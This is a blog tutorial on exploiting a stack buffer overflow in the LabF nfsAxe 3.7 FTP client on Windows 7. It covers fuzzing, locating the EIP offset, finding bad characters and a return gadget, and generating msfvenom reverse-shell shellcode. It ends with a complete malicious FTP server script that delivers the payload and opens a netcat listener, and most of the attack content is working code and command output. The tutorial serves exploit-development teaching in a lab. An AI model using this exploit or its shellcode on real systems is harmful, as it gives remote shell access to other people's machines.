Amonsec

It's all about security.

A simple blog where you can find different things about digital security.

Windows Stack Based Buffer Overflow

Introduction

Buffer overflow are mainly use to remotely exploit (or locally) applications in order to execute shellcodes, like reverse or bind shells. Its pretty intimidating for a new comers in this awesome field but with enough time and determination you will be able to learn fast and you will be able to exploit applications.

For this training I will use a windows 7 system VMware image that you can download here. Note, you can use VirtualBox but it’s VirtualBox.

Moreover, I will use inside the windows 7 machine:

My attacking machine is a Kali Linux system that you can download in the Kali Linux website here.

In this post I will try to do my best to be understand by the majority. If you want a more complete tutorial written by an expert, about Stack Based Buffer Overflow, I highly suggest you to read this post from the CORELAN website.

Before beginning this tutorial, a quick overview of how the exploit work. The FTP client will connect as anonymous in our malicious FTP server and then we will send the exploit. So, you need to install your own virtual windows system, all the required tools (listed upper) and to have a connection between your virtual windows system and you attacking system.

 

Fuzzing

The first thing that we need to do when we have an application and we want to exploit it it’s to throw different length of strings in each place we can inject data in order to, hopefully, make it, the application, crash. That’s what we called fuzzing. Note, you can do it manually or you can automate it with tools or your own scripts.

For example, for our first try we will send five hundred ‘A’s (\x41 in hexadecimal) to our client when he connect to our malicious python server. The following Python script gonna be used.

#!/usr/bin/python
import socket
import struct

lhost = "0.0.0.0"
lport = 21

exploit = ''
exploit += '\x41' * 500

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((lhost, lport))
    s.listen(1)

    print 'Evil FTP server waiting for a connection'
    print 'Exploit lenght: {}'.format(len(exploit))
    target, addr = s.accept()

    target.send('220 Welcome to DOOM FTP server\r\n')
    target.recv(1024)
    target.send('331 OK\r\n')
    target.recv(1024)
    target.send('230 OK\r\n')
    target.recv(1024)
    target.send('220 "{}" offsec is delivering the good like\r\n'.format(exploit))

    s.close()
    target.close()

except socket.error as error:
    print 'Error: ' + str(error)
    s.close()
    target.close()
    sys.exit(1)

except KeyboardInterrupt:
    s.close()
    target.close()
    sys.exit(1)

We start our malicious server and we use the FTP client to connect to our malicious server.

root@kali:~/Desktop# python exploit.py 
Evil FTP server waiting for a connection
Exploit length: 500

The FTP client should look like that, we have our five hundred ‘A’s.

windows_stack_based_buffer_overflow_fuzzing_first_attempt.png

After few tries, where each time we increase the number of ‘A’ we send to the FTP client, we can find that the FTP client crash with 4000 ‘A’. We can update our python script and try it.

[..snip..]

exploit = ''
exploit += '\x41' * 4000

[..snip..]
windows_stack_based_buffer_overflow_fuzzing_crash_gui.png

OK, application successfully crashed. Now, let’s make crash this application when attached to the debugger.

To attach a process to Immunity Debugger: File -> Attach

windows_stack_based_buffer_overflow_fuzzing_select_a_process.png

Then we have to continue the execution of the application by pressing the F9 key. Finally, the application should look like that at the moment of the crash.

windows_stack_based_buffer_overflow_fuzzing_registers_at_crash.png
 

Finding EIP

At this point, we need to talk a look at what is the EIP and the ESP registers.

The EIP register is the Extended Instruction Pointer. EIP is the most important thing in stack based exploit because he allow use to control the execution flow of the application. With him (EIP) we can deflect into our malicious code the normal execution of the application, for example.

The ESP register is the Extended Stack Pointer. Primarily used for hunting bad-chars (later in the post) he serves as an indirect memory operand pointing to the top of the stack at any time. When you add something on the stack his value decreases and when you remove something his value increases because LIFO (Last In First Out).

So, your work now is to find where EIP is overwrite in order to later control the execution flow. For that, we will create and use a cyclic pattern.

 

A cyclic pattern is: “a string that contains unique patterns. Using this pattern [..] we can see how big the buffer should be to write exactly into EIP.”
-CORELAN – https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

 

Two way can be used, one with Metasploit exploits tools and one with mona.py. Both will be use and explains in this post.

 

Pattern creation with Metasploit

The pattern_create.rb tool from the Metasploit framework can be used to create our cyclic pattern.

root@kali:~/Desktop# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2A
[..snip..]
root@kali:~/Desktop#

We can update our exploit with this pattern.

[..snip..]

exploit = ''
exploit += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9 [..snip..]'

[..snip..]

Now if we replicate the crash we will find which pattern overwrite EIP.

windows_stack_based_buffer_overflow_eip_pattern_create_msf.png

As we can see, EIP is overwritten by: 38714337. Now, we can use the other Metasploit tool, pattern_offset.rb, to find after how many bytes we overwrite EIP.

root@kali:~/Desktop# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 38714337
[*] Exact match at offset 2063
root@kali:~/Desktop#

Seemingly, after 2063 bytes we overwrite EIP.

 

Pattern creation with mona.py

Same process here but instead of using Metasploit we will use the mona.py script. First, we set your working directory (where you want).

!mona config -set workingfolder c:\Users\Amonsec\Desktop\%p
windows_stack_based_buffer_overflow_eip_set_workdir.png

Now, we create our cyclic pattern.

!mona pattern_create 4000
windows_stack_based_buffer_overflow_eip_pattern_mona.png
windows_stack_based_buffer_overflow_eip_pattern_file.png

We can copy/past the Hex chain of the created file in order to update our exploit and then, make crash once again the application. At the moment of the crash instead of using the pettern_offset.rb tool we can use another command from mona.py, that will find where EIP is overwritten with a cyclic pattern.

!mona findmsp

Once again, EIP is overwritten after 2063 bytes.

windows_stack_based_buffer_overflow_eip_mona_findmsp.png

Finally, we can update our exploit.

[..snip..]

exploit = ''
exploit += '\x41' * 2063
exploit += '\x42' * 4
exploit += '\x41' * (4000 - 4 - 2063)

[..snip..]
windows_stack_based_buffer_overflow_eip_controlled.png
 

Badchars

Our next step is to find which characters are not allow or. Sometimes, all characters are usable and sometimes your have more than five/six characters that will made fail your exploit. Please note, the ‘\x00’ characters, also know as the null terminator is never allow and must be remove in any cases. This part of exploit development is really important and may be responsible of the failure of our work.

The first thing that we can do is to generate a variable with all possible characters (except ‘\x00’).

!mona bytearray -cpb '\x00'
windows_stack_based_buffer_overflow_badchars_bytearray_first.png
windows_stack_based_buffer_overflow_badchars_bytearray_first_file.png

We update our exploit in order to find which characters in this list change.

[..snip..]

badchars = ''
badchars += '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
badchars += '\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f'
badchars += '\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f'
badchars += '\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f'
badchars += '\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f'
badchars += '\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f'
badchars += '\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f'
badchars += '\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f'
badchars += '\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f'
badchars += '\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f'
badchars += '\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf'
badchars += '\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf'
badchars += '\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf'
badchars += '\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf'
badchars += '\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef'
badchars += '\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

exploit = ''
exploit += '\x41' * 2063
exploit += '\x42' * 4
exploit += badchars
exploit += '\x41' * (4000 - 4 - 2063 - len(badchars))

[..snip..]

After the crash we can right click on the ESP register and then click on the Follow in Dump option in order to see the content of the dump after the EIP offset.

windows_stack_based_buffer_overflow_badchars_crash_esp_to_dump.png

As we can see after the ‘\x0a’ characters something goes wrong and break our string of bad-chars. So, we can say that the ‘\x0a’ characters is a bad characters and we need to avoid it for later. We have two way to find bad-chars, manually, or with mona.py. In the first case we did it manually, now we will see how to did it with mona.py.

Let’s update the bytearray.bin file and our exploit.

!mona bytearray -cpb '\x00\x0a'

[..snip..]

badchars = ''
badchars += '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f'
badchars += '\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f'
badchars += '\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f'
badchars += '\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f'
badchars += '\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f'
badchars += '\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f'
badchars += '\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f'
badchars += '\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f'
badchars += '\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f'
badchars += '\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f'
badchars += '\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf'
badchars += '\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf'
badchars += '\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf'
badchars += '\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf'
badchars += '\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef'
badchars += '\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

exploit = ''
exploit += '\x41' * 2063
exploit += '\x42' * 4
exploit += badchars
exploit += '\x41' * (4000 - 4 - 2063 - len(badchars))

[..snip..]

We make crash the application and then we use the compare command of mona.py to compare bytes in a file, in our case the previously created and updated bytearray.bin file, and a sequence of bytes at given address.

!mona compare -f c:\Users\Amonsec\Desktop\ftp\bytearray.bin -a 0284D4E8
windows_stack_based_buffer_overflow_badchars_mona_compare.png

The second and the last bad-chars is ‘\x0d’.

windows_stack_based_buffer_overflow_badchars_mona_compare_logs.png

For this exploit we found only two unusable characters but as says previously sometimes we need to repeat this process more then five/six times. Finally we can update our exploit and notes these badchars.

[..snip..]
# Badchars: \x00 \x0a \x0d

exploit = ''
exploit += '\x41' * 2063
exploit += '\x42' * 4
exploit += '\x41' * (4000 - 4 - 2063)

[..snip..]
 

Controlling the execution flow

So, now, we need to find a way to control the execution flow and to redirect the application into our malicious code. For that we need to find an address where we can execute a JMP ESP (hexadecimal = ‘\xff\xe4’), CALL ESP (hexadecimal = ‘\xff\xd4’) or, a more esoteric one, a PUSH ESP; RET (hexadecimal = ‘\x54\xc3’) instruction.

Mona.py will help us to search in each imported modules the desired instruction. However, the address of the instructions must be subject to different restrictions such as:

  • The address must be bad-chars free and
  • The address must be in a module with DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization) unused.

Note, for a compatibility between different windows version you should find an address in a non OS module. First we search which module are without DEP, ASLR and non native OS module.

!mona modules
windows_stack_based_buffer_overflow_redirect_mona_modules.png

We can search for a PUSH ESP; RET instruction with the find command of mona.py, in this three modules and who don’t contain our previously discovered bad-chars.

!mona find -s '\x54\xc3' -m 'ftp.exe,WCMDPA10.dll,sen_api.dll' -cpb '\x00\x0a\x0d'
windows_stack_based_buffer_overflow_redirect_mona_find_push_esp_ret.png

Fortunately for us, the 0x6809d408 address can be use, so we can update our exploit and change the ‘\x42’s with this address.

[..snip..]
# Badchars: \x00 \x0a \x0d

exploit = ''
exploit += '\x41' * 2063
exploit += struct.pack('<L', 0x6809d408)
exploit += '\x41' * (4000 - 4 - 2063)

[..snip..]

Now, before making one more time the application crash we have to put a breakpoint at this address.We have to: click on the Go to address in Disassembler button -> enter the address -> press F2 to set the breakpoint.

windows_stack_based_buffer_overflow_redirect_breakpoint.png

After the crash, we will reach the breakpoint.

windows_stack_based_buffer_overflow_redirect_breakpoint_crash.png

Finally, if we hit two times the F8 key (Step over), to execute the PUSH ESP and the RET instruction, we will redirect the execution of the program right after EIP.

windows_stack_based_buffer_overflow_redirect_after_eip.png
 

Shellcode creation and execution

We successfully found a way to redirect the execution flow of the application into a place where we have enough space to store and execute our malicious code a.k.a shellcode.

We can easily create a reverse shell with the msfvenom tool from the Metasploit Framework. Note, we have to specify our bad-chars to msfvenom (with the -b flag).

root@kali:~/Desktop# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=1337 LHOST=192.168.1.102 --arch x86 -f python -v shellcode -b '\x00\x0a\x0d' 
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1900 bytes
shellcode =  ""
shellcode += "\xda\xd1\xd9\x74\x24\xf4\xbe\x2f\xf0\x85\x45\x5a"
shellcode += "\x2b\xc9\xb1\x52\x31\x72\x17\x83\xc2\x04\x03\x5d"
shellcode += "\xe3\x67\xb0\x5d\xeb\xea\x3b\x9d\xec\x8a\xb2\x78"
shellcode += "\xdd\x8a\xa1\x09\x4e\x3b\xa1\x5f\x63\xb0\xe7\x4b"
shellcode += "\xf0\xb4\x2f\x7c\xb1\x73\x16\xb3\x42\x2f\x6a\xd2"
shellcode += "\xc0\x32\xbf\x34\xf8\xfc\xb2\x35\x3d\xe0\x3f\x67"
shellcode += "\x96\x6e\xed\x97\x93\x3b\x2e\x1c\xef\xaa\x36\xc1"
shellcode += "\xb8\xcd\x17\x54\xb2\x97\xb7\x57\x17\xac\xf1\x4f"
shellcode += "\x74\x89\x48\xe4\x4e\x65\x4b\x2c\x9f\x86\xe0\x11"
shellcode += "\x2f\x75\xf8\x56\x88\x66\x8f\xae\xea\x1b\x88\x75"
shellcode += "\x90\xc7\x1d\x6d\x32\x83\x86\x49\xc2\x40\x50\x1a"
shellcode += "\xc8\x2d\x16\x44\xcd\xb0\xfb\xff\xe9\x39\xfa\x2f"
shellcode += "\x78\x79\xd9\xeb\x20\xd9\x40\xaa\x8c\x8c\x7d\xac"
shellcode += "\x6e\x70\xd8\xa7\x83\x65\x51\xea\xcb\x4a\x58\x14"
shellcode += "\x0c\xc5\xeb\x67\x3e\x4a\x40\xef\x72\x03\x4e\xe8"
shellcode += "\x75\x3e\x36\x66\x88\xc1\x47\xaf\x4f\x95\x17\xc7"
shellcode += "\x66\x96\xf3\x17\x86\x43\x53\x47\x28\x3c\x14\x37"
shellcode += "\x88\xec\xfc\x5d\x07\xd2\x1d\x5e\xcd\x7b\xb7\xa5"
shellcode += "\x86\x43\xe0\xa4\x30\x2c\xf3\xa6\xb9\x95\x7a\x40"
shellcode += "\xab\xf5\x2a\xdb\x44\x6f\x77\x97\xf5\x70\xad\xd2"
shellcode += "\x36\xfa\x42\x23\xf8\x0b\x2e\x37\x6d\xfc\x65\x65"
shellcode += "\x38\x03\x50\x01\xa6\x96\x3f\xd1\xa1\x8a\x97\x86"
shellcode += "\xe6\x7d\xee\x42\x1b\x27\x58\x70\xe6\xb1\xa3\x30"
shellcode += "\x3d\x02\x2d\xb9\xb0\x3e\x09\xa9\x0c\xbe\x15\x9d"
shellcode += "\xc0\xe9\xc3\x4b\xa7\x43\xa2\x25\x71\x3f\x6c\xa1"
shellcode += "\x04\x73\xaf\xb7\x08\x5e\x59\x57\xb8\x37\x1c\x68"
shellcode += "\x75\xd0\xa8\x11\x6b\x40\x56\xc8\x2f\x70\x1d\x50"
shellcode += "\x19\x19\xf8\x01\x1b\x44\xfb\xfc\x58\x71\x78\xf4"
shellcode += "\x20\x86\x60\x7d\x24\xc2\x26\x6e\x54\x5b\xc3\x90"
shellcode += "\xcb\x5c\xc6"
root@kali:~/Desktop#

We can add the shellcode into our exploit.

[..snip..]
# Badchars: \x00 \x0a \x0d

shellcode =  ""
shellcode += "\xda\xd1\xd9\x74\x24\xf4\xbe\x2f\xf0\x85\x45\x5a"
shellcode += "\x2b\xc9\xb1\x52\x31\x72\x17\x83\xc2\x04\x03\x5d"
shellcode += "\xe3\x67\xb0\x5d\xeb\xea\x3b\x9d\xec\x8a\xb2\x78"
shellcode += "\xdd\x8a\xa1\x09\x4e\x3b\xa1\x5f\x63\xb0\xe7\x4b"
shellcode += "\xf0\xb4\x2f\x7c\xb1\x73\x16\xb3\x42\x2f\x6a\xd2"
shellcode += "\xc0\x32\xbf\x34\xf8\xfc\xb2\x35\x3d\xe0\x3f\x67"
shellcode += "\x96\x6e\xed\x97\x93\x3b\x2e\x1c\xef\xaa\x36\xc1"
shellcode += "\xb8\xcd\x17\x54\xb2\x97\xb7\x57\x17\xac\xf1\x4f"
shellcode += "\x74\x89\x48\xe4\x4e\x65\x4b\x2c\x9f\x86\xe0\x11"
shellcode += "\x2f\x75\xf8\x56\x88\x66\x8f\xae\xea\x1b\x88\x75"
shellcode += "\x90\xc7\x1d\x6d\x32\x83\x86\x49\xc2\x40\x50\x1a"
shellcode += "\xc8\x2d\x16\x44\xcd\xb0\xfb\xff\xe9\x39\xfa\x2f"
shellcode += "\x78\x79\xd9\xeb\x20\xd9\x40\xaa\x8c\x8c\x7d\xac"
shellcode += "\x6e\x70\xd8\xa7\x83\x65\x51\xea\xcb\x4a\x58\x14"
shellcode += "\x0c\xc5\xeb\x67\x3e\x4a\x40\xef\x72\x03\x4e\xe8"
shellcode += "\x75\x3e\x36\x66\x88\xc1\x47\xaf\x4f\x95\x17\xc7"
shellcode += "\x66\x96\xf3\x17\x86\x43\x53\x47\x28\x3c\x14\x37"
shellcode += "\x88\xec\xfc\x5d\x07\xd2\x1d\x5e\xcd\x7b\xb7\xa5"
shellcode += "\x86\x43\xe0\xa4\x30\x2c\xf3\xa6\xb9\x95\x7a\x40"
shellcode += "\xab\xf5\x2a\xdb\x44\x6f\x77\x97\xf5\x70\xad\xd2"
shellcode += "\x36\xfa\x42\x23\xf8\x0b\x2e\x37\x6d\xfc\x65\x65"
shellcode += "\x38\x03\x50\x01\xa6\x96\x3f\xd1\xa1\x8a\x97\x86"
shellcode += "\xe6\x7d\xee\x42\x1b\x27\x58\x70\xe6\xb1\xa3\x30"
shellcode += "\x3d\x02\x2d\xb9\xb0\x3e\x09\xa9\x0c\xbe\x15\x9d"
shellcode += "\xc0\xe9\xc3\x4b\xa7\x43\xa2\x25\x71\x3f\x6c\xa1"
shellcode += "\x04\x73\xaf\xb7\x08\x5e\x59\x57\xb8\x37\x1c\x68"
shellcode += "\x75\xd0\xa8\x11\x6b\x40\x56\xc8\x2f\x70\x1d\x50"
shellcode += "\x19\x19\xf8\x01\x1b\x44\xfb\xfc\x58\x71\x78\xf4"
shellcode += "\x20\x86\x60\x7d\x24\xc2\x26\x6e\x54\x5b\xc3\x90"
shellcode += "\xcb\x5c\xc6"

exploit = ''
exploit += '\x41' * 2063
exploit += struct.pack('<L', 0x6809d408)
exploit += '\x90' * 32
exploit += shellcode
exploit += '\x41' * (4000 - 4 - 2063 - 32 - len(shellcode))

[..snip..]

We set a listener in order to receive our reverse shell.

root@kali:~/Desktop# nc -lnvp 1337
listening on [any] 1337 ...

Let’s put a breakpoint in the same address as previously in order to see our shellcode.

windows_stack_based_buffer_overflow_shellcode_to_execute.png

Finally, we press the F9 key to run the program and we gain a shell!

windows_stack_based_buffer_overflow_shellcode_reverse_shell.png
 

Final exploit

You can find and download the final version of this exploit here.

#!/usr/bin/python
import socket
import struct
import subprocess

_RED = '\x1b[1;31m'
_BLU = '\x1b[1;34m'
_GRE = '\x1b[1;32m'
_RST = '\x1b[0;0;0m'
successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)
errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)
infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)

lhost = "0.0.0.0"
lport = 21

shellcode =  ""
shellcode += "\xda\xd1\xd9\x74\x24\xf4\xbe\x2f\xf0\x85\x45\x5a"
shellcode += "\x2b\xc9\xb1\x52\x31\x72\x17\x83\xc2\x04\x03\x5d"
shellcode += "\xe3\x67\xb0\x5d\xeb\xea\x3b\x9d\xec\x8a\xb2\x78"
shellcode += "\xdd\x8a\xa1\x09\x4e\x3b\xa1\x5f\x63\xb0\xe7\x4b"
shellcode += "\xf0\xb4\x2f\x7c\xb1\x73\x16\xb3\x42\x2f\x6a\xd2"
shellcode += "\xc0\x32\xbf\x34\xf8\xfc\xb2\x35\x3d\xe0\x3f\x67"
shellcode += "\x96\x6e\xed\x97\x93\x3b\x2e\x1c\xef\xaa\x36\xc1"
shellcode += "\xb8\xcd\x17\x54\xb2\x97\xb7\x57\x17\xac\xf1\x4f"
shellcode += "\x74\x89\x48\xe4\x4e\x65\x4b\x2c\x9f\x86\xe0\x11"
shellcode += "\x2f\x75\xf8\x56\x88\x66\x8f\xae\xea\x1b\x88\x75"
shellcode += "\x90\xc7\x1d\x6d\x32\x83\x86\x49\xc2\x40\x50\x1a"
shellcode += "\xc8\x2d\x16\x44\xcd\xb0\xfb\xff\xe9\x39\xfa\x2f"
shellcode += "\x78\x79\xd9\xeb\x20\xd9\x40\xaa\x8c\x8c\x7d\xac"
shellcode += "\x6e\x70\xd8\xa7\x83\x65\x51\xea\xcb\x4a\x58\x14"
shellcode += "\x0c\xc5\xeb\x67\x3e\x4a\x40\xef\x72\x03\x4e\xe8"
shellcode += "\x75\x3e\x36\x66\x88\xc1\x47\xaf\x4f\x95\x17\xc7"
shellcode += "\x66\x96\xf3\x17\x86\x43\x53\x47\x28\x3c\x14\x37"
shellcode += "\x88\xec\xfc\x5d\x07\xd2\x1d\x5e\xcd\x7b\xb7\xa5"
shellcode += "\x86\x43\xe0\xa4\x30\x2c\xf3\xa6\xb9\x95\x7a\x40"
shellcode += "\xab\xf5\x2a\xdb\x44\x6f\x77\x97\xf5\x70\xad\xd2"
shellcode += "\x36\xfa\x42\x23\xf8\x0b\x2e\x37\x6d\xfc\x65\x65"
shellcode += "\x38\x03\x50\x01\xa6\x96\x3f\xd1\xa1\x8a\x97\x86"
shellcode += "\xe6\x7d\xee\x42\x1b\x27\x58\x70\xe6\xb1\xa3\x30"
shellcode += "\x3d\x02\x2d\xb9\xb0\x3e\x09\xa9\x0c\xbe\x15\x9d"
shellcode += "\xc0\xe9\xc3\x4b\xa7\x43\xa2\x25\x71\x3f\x6c\xa1"
shellcode += "\x04\x73\xaf\xb7\x08\x5e\x59\x57\xb8\x37\x1c\x68"
shellcode += "\x75\xd0\xa8\x11\x6b\x40\x56\xc8\x2f\x70\x1d\x50"
shellcode += "\x19\x19\xf8\x01\x1b\x44\xfb\xfc\x58\x71\x78\xf4"
shellcode += "\x20\x86\x60\x7d\x24\xc2\x26\x6e\x54\x5b\xc3\x90"
shellcode += "\xcb\x5c\xc6"

exploit = ''
exploit += '\x41' * 2063
exploit += struct.pack('<L', 0x6809d408)
exploit += '\x90' * 32
exploit += shellcode
exploit += '\x41' * (4000 - 4 - 2063 - 32 - len(shellcode))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((lhost, lport))
    s.listen(1)

    print infoMessage('LabF nfsAxe 3.7 FTP Client - Stack Based Buffer Overflow')
    print infoMessage('Author: {}Amonsec{}'.format(_RED, _RST))
    print infoMessage('Evil FTP server waiting for a connection')
    target, addr = s.accept()
    print successMessage('Connection from {}'.format(addr))

    print infoMessage('Sending the evil request')
    target.send('220 Welcome to DOOM FTP server\r\n')
    target.recv(1024)
    target.send('331 OK\r\n')
    target.recv(1024)
    target.send('230 OK\r\n')
    target.recv(1024)
    target.send('220 "{}" offsec is delivering the good like\r\n'.format(exploit))

    s.close()
    target.close()

    print ''
    print infoMessage('Waiting for a reverse shell')
    subprocess.call(['nc -lnvp 1337'], shell=True)

except socket.error as error:
    print 'Error: ' + str(error)
    s.close()
    target.close()
    sys.exit(1)

except KeyboardInterrupt:
    s.close()
    target.close()
    sys.exit(1)
windows_stack_based_buffer_overflow_final_version_shell.png
 
 

break